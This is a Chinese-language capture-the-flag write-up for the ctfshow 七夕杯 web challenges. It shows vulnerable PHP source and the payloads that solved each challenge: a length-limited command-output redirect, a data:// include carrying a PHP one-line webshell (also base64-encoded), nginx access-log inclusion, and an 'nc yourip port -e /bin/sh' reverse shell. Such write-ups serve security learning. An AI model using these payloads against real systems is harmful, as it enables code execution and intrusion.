ctfshow 七夕杯 web
ctfshow 七夕杯
web签到
会执行命令,但没有回显
同时js中限制了命令长度<=7
function isSafe(cmd)
{
return cmd.length<=7;
}
直接用>
(重定向符)到任意网址即可
ls />m
访问m可以下载结果
读flag,cat太长,用nl代替
payload
nl /*>m
访问m
easy_calc
给了源码
<?php
if(check($code)){
eval('$result='."$code".";");
echo($result);
}
function check(&$code){
$num1=$_POST['num1'];
$symbol=$_POST['symbol'];
$num2=$_POST['num2'];
if(!isset($num1) || !isset($num2) || !isset($symbol) ){
return false;
}
if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
return false;
}
if(preg_match("/^[\+\-\*\/]$/", $symbol)){
$code = "$num1$symbol$num2";
return true;
}
return false;
}
简单审计下就是分别输入num1、symbol、num2,然后把他们拼接起来放到eval中去执行,但是过滤了很多关键符号
由于()
被过滤,所以要找一些不用()
的函数,比如include
解法一(data协议)
思路也很清晰了,用include
配合data协议直接传个一句话木马上去,然后命令执行即可
因为过滤了<>
导致<?php不可用,利用base64绕过
payload
num1=include "data:text/plain,<?php eval($_GET['shell']);";&symbol=-&num2=123
num1=include "data:text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnc2hlbGwnXSk7";&symbol=-&num2=123
//注意symbol只能选-号,+号会拼接字符串
注意url处的空格要进行一次编码不然无法执行命令
解法二(日志包含)
UA日志包含
payload
num1=include "/var/log/nginx/access.log";&symbol=-&num2=123
easy_cmd
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
exec(escapeshellcmd($cmd));
}
?>
只能用四种命令ping|ls|nc|ifconfig
有个escapeshellcmd函数
直接用nc反弹shell即可
?cmd=nc yourip port -e /bin/sh
easy_sql
这个没搞出来...